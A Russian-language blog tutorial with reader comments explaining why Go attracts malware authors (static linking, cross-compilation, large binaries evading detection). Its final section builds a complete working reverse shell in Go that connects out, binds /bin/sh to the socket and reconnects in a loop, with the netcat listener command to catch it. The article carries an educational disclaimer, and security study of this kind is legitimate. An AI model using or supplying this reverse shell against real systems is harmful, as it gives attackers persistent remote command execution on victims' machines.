Ну что, Go?

С годами малыш Golang завоевал популярность среди разработчиков и конено же у специалистов по информационной безопасности и хакеров. Как это часто бывает, он привлекает внимание и разработчиков вредоносного программного обеспечения ( ВПО ). Использование Go — заманчивый выбор для разработчиков вредоносных программ, поскольку он поддерживает кросс-компиляцию для запуска двоичных файлов в различных операционных системах. Компиляция одного и того же кода для всех основных платформ (Windows, Linux, macOS) значительно упрощает жизнь злоумышленнику, поскольку ему не нужно разрабатывать и поддерживать разные кодовые базы для каждой целевой среды. Сегодня будут рассмотрены следующие темы:

  1. Особенности языка

  2. Отличия от языка программирования C

  3. Как написать ReverseShell

Дисклеймер: Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий.

Специалист который знает как написать reverse shell на разных языках, в реальных условиях сможет обнаружить его не задумываясь.

Бинарные файлы Go обычно статически связаны, что означает, что все необходимые библиотеки включены в скомпилированный бинарный файл. Это приводит к большим двоичным файлам, что затрудняет распространение ВПО для злоумышленников. С другой стороны, некоторые продукты безопасности также имеют проблемы с обработкой больших файлов. Это означает, что большие двоичные файлы могут помочь вредоносам избежать обнаружения. Другое преимущество статически связанных двоичных файлов для злоумышленников заключается в том, что ВПО может работать на целевых системах без проблем с зависимостями.

Компилятор Go создает единый нативный исполняемый файл:

  1. PE, ELF, Mach-O или динамическую библиотеку (.DLL, .so)

  2. У исполняемого файла нет зависимостей

  3. Размер программы получается довольно большой

Нет зависимостей у исполняемого файла, потому что компилятор статически линкует всё, что только есть. Отсюда и проблема в размерах самой программы. Для сравнения напишу две одинаковые программы на языке C и Go. Там будет видна разница между размерами программ.

#include <stdio.h>

int main()
{
	printf("Hello world!\n");
	return 0;
}
package main
import "fmt"

func main() {
	fmt.Println("Hello world!")
}

Настало время для сравнения. Сначала исполняемый файл написанный на языке программирования C:

$ file helloworld.out
helloworld.out: ELF 64-bit LSB pie executable,
x86-64, version 1 (SYSV), dynamically linked, 
interpreter /lib64/ld-linux-x86-64.so.2, 
BuildID[sha1]=cb1ebee9841fa4617fdce3d6dec7eb92bdf22b9c, 
for GNU/Linux 3.2.0, not stripped

Теперь на языке Go:

$ file helloworld
helloworld: ELF 64-bit LSB executable,
x86-64, version 1 (SYSV), statically linked, 
Go BuildID=jx-LKi0DT7yq57_axZ50/-J9pvge2spIs3FF3p1rK/Y4F2OzaI1qbHT_1sjjNT/D18AWb4kE2QlnH3iGjj-, not stripped

Первая разница уже видна. Она заключается в динамической и статической линковке соответсвенно. Теперь различия в размерах программ:

$ ll
total 1,7M
-rwxrwxr-x 1 ap_security ap_security 1,7M авг 15 23:21 helloworld
-rwxrwxr-x 1 ap_security ap_security  16K авг 15 23:23 helloworld.out

Теперь перейдем к установке Golang и к видам компиляции

Установить Go проще простого

C:\ choco install golang // Windows
sudo apt install golang // Linux
sudo brew install golang // MacOS

Компилировать программу на Golang можно многими способами:

  1. Компиляция под текущую платформу go build main.go

  2. Запуск программы как скрипта go run main.go

  3. Создание исполняемого файла для Windows из Linux GOOS=windows go build main.go

  4. Создание исполняемого файла для Linux из Windows $env:GOOS=linux; go build .\main.go

  5. Создание WebASM приложения GOOS=js GOARCH=wasm go build -o hello.wasm

  6. Компиляция под MacOS GOOS=darwin go build main.go

Компиляция под специфичную архитектуру:

  1. GOARCH=386 go build main.go

  2. GOARCH=adm64 go build main.go

  3. GOARCH=arm64 go build main.go

  4. GOARCH=mips64 go build main.go

Теперь настало время для написания ReverseShell на языке Go.

Сначала идет указание пакета main. Это необходимо, потому что он определяет, что это исполняемый файл, а не библиотека. В данном пакете имеется функция main(), которая определяет начало выполнения программы.

Дальше необходимо указать компилятору, какие пакеты необходимы для данного файла. Эти проблемы решают объявления import. Так как для написания revereshell будут нужны ряд пакетов, их можно указывать все поочередно в скобочках. Необходимые пакеты:

  1. net - содержит основной функционал по работе с сетью

  2. os/exec - позволит запускать программы

  3. time - нужен для создания паузы при работе программы

Таким образом, заголовок программы выглядит так:

package main
import (
	"net"
	"os/exec"
	"time"
)

Далее необходимо открыть TCP подключение к серверу и проверить подключение. Для этого создадим две переменные conn и error_tcp. Если есть проблемы с подключением, то рекурсивно повторяем операцию. Если соединение прервано, то ожидаем новое. Так избавимся от ошибок и падения программы:

conn, error_tcp := net.Dial("tcp", host)
if nil != error_tcp {
	if nil != conn {
		conn.Close()
	}
	time.Sleep(time.Minute)
	payload(host)
}

Осталось только запустить Bash и дублировать файловые дескрипторы. В кратце, осталась классическая часть для reverseshell:

shell := exec.Command("/bin/sh")
shell.Stdin, shell.Stdout, shell.Stderr = conn, conn, conn
shell.Run()
conn.Close()
payload(host)

Таким образом, полная программа выглядит так:

package main
import (
	"net"
	"os/exec"
	"time"
)

func main() {
	payload("127.0.0.1:1337")
}

func payload(host string) {
	conn, error_tcp := net.Dial("tcp", host)
	if nil != error_tcp {
		if nil != conn {
			conn.Close()
		}
		time.Sleep(time.Minute)
		payload(host)
	}
	
	shell := exec.Command("/bin/sh")
	shell.Stdin, shell.Stdout, shell.Stderr = conn, conn, conn
	shell.Run()
	conn.Close()
	payload(host)
}

Проверим работоспособность

  1. В одном терминале запустить скрипт go run reverse.go

  2. Во втором терминале открыть подключение nc -lvnp 1337

Если вы дошли до конца и у Вас все получилось, то Вы большой молодец и Вам пора переходить к более сложным примерам, жду от вас отклик и предложения для следующих статей в комментариях.

Комментарии (7)


  1. hello_my_name_is_dany
    16.08.2023 19:19
    +1

    Вы уж определитесь про что пишите, про Go или про то, как на нём написать "ReverseShell"


    1. ap_security Автор
      16.08.2023 19:19
      +1

      Приветствую, важно понимать зачем использовать те или иные технологии при решении определенной задачи, поэтому тут присутствует краткая "теория"


  1. apevzner
    16.08.2023 19:19

    Совсем хакеры обленились. Уже и зловреда написать не могут без сборщика мусора. Куда катится мир?

    P.S. А тесты? А golint? А package documentation? А поддержка венды (там нет /bin/sh)?


    1. ap_security Автор
      16.08.2023 19:19
      +1

      Согласен с Вами, профессиональный подход нужен везде, но в статье ограничимся простым примером для linux, это код для примера, а не боевой швейцарский нож. Всем добра))


  1. strelkan
    16.08.2023 19:19
    -4

    хорошая вводная статья, спасибо


  1. uhahatbl_tv
    16.08.2023 19:19
    -4

    Спасибо большое за вводную статью! Много полезного почерпнул! Жду от вас еще больше полезного материала!


  1. AFANX
    16.08.2023 19:19
    -1

    Статья, как мне показалось, очень даже ничего. Тем более для начиющих киберрекрутов. Рил, для начинающего то, что надо. По Golang крайне мало инфы, тем более такой. За частую, когда гуглишь, например, reverseshell на golang или malware go, выскакиевает или сразу голый код или максимально не понятная статья от идийских друзей. Тут же все кратко, по фактам итд. Молодой цтф боец, который еще не знает стоит ли переходить на golang или все таки остаться на старых плюсах и питоне, по началу статьи сразу увидит небольшие плюсы и отличия от языка Си. Радует тот факт, что можно сразу че-то попробовать написать на нем и получить первый опыт в языке Golang.